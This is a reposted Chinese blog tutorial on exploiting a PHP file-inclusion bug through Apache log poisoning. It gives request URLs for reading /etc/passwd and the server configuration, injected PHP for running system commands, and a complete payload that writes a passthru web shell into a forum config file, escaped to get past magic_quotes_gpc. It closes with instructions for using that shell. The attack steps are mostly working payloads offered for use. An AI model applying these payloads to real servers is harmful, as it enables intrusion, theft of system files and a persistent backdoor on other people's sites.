首页 运维 网络学院 查看内容

关于php包含Apache日志的随想

2008-10-18 09:42 540 0

摘要:   来源:http://2096.blogbus.com/index.html  关于php包含Apache日志的利用,其实也就是利用提交的地址被Apache服务器日志记录,在日志里提交相应的php语...
关键词: com xxx virtual www php home 语句 http Apache error

  来源:http://2096.blogbus.com/index.html  关于php包含Apache日志的利用,其实也就是利用提交的地址被Apache服务器日志记录,在日志里提交相应的php语句,从而包含了去执行。当 然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。  比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句  <? include($zizzy); ?>  你可以  http://xxx.com/z.php?zizzy=/etc/inetd.conf  http://xxx.com/z.php?zizzy=/proc/cpuinfo  http://xxx.com/z.php?zizzy=/etc/passwd  就可以利用包含语句来查看一些系统环境和密码档。  那么关于日志包含下面我们来看:  比如我们的Apache的服务器配置文件位置在这里  /usr/local/apache/conf/httpd.conf  那么我们来包含一下httpd.conf,来看下路径信息什么的  http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf  读出Apache的配置信息  <VirtualHost 218.63.89.2>  User #3  Group silver  ServerAdmin [email protected]  DocumentRoot /home/virtual/www.xxx.com  ServerName www.xxx.com  ServerAlias xxx.com  ErrorLog /home/virtual/www.xxx.com/logs/www-error_log  CustomLog /home/virtual/www.xxx.com/logs/www-access_log common  ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/  Alias /icons/ /home/virtual/www.xxx.com/icons  </VirtualHost>  而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  就可以读出Apache的错误日志记录  [Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not  exist: /home/virtual/www.xxx.com/hack.php  [Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not  exist: /home/virtual/www.xxx.com/111111111.php  [Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not  exist: /home/virtual/www.xxx.com/22222.php3  [Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/forum  [Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/blog  [Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/kkkkkkkk  而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。  比如我们提交  http://www.xxx.com/<?phpinfo();?>  这样肯定会出错,而出错就被记在日志里了  http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  这样这个日志文件就被包含成了phpinfo的信息  可以的话这样子也不错,<?system("ls+-la+/home");?>  发散思维:  下面想的再深入一点就是我在想如何写入一个webshell来利用。  当然前提是权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。  比如这句php语句  <?=str_replace("?","!",passthru($cmd));?>  到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,  fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?=str_replace("?","!",passthru($cmd));?>这个执行命令的语句。连起来就是  <?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace("?","!",passthru($cmd));?>");fclose($fp);?>  我们提交这句,再让Apache记录到日志里  ");fclose($fp'>http://xxx.com/z.php?zizzy=<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",passthru(\$cmd));?>");fclose($fp);?>  语句里加了些斜杆也是为了magic_quotes_gpc考虑,这样就在config.php里写入了一个php木马语句。  再来提交  http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  这样webshell就写入成功了。  OK.  http://www.xxx.com/forum/config.php这个就成了我们的webshell  你可以http://www.xxx.com/forum/config.php?cmd=ls来使用了
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部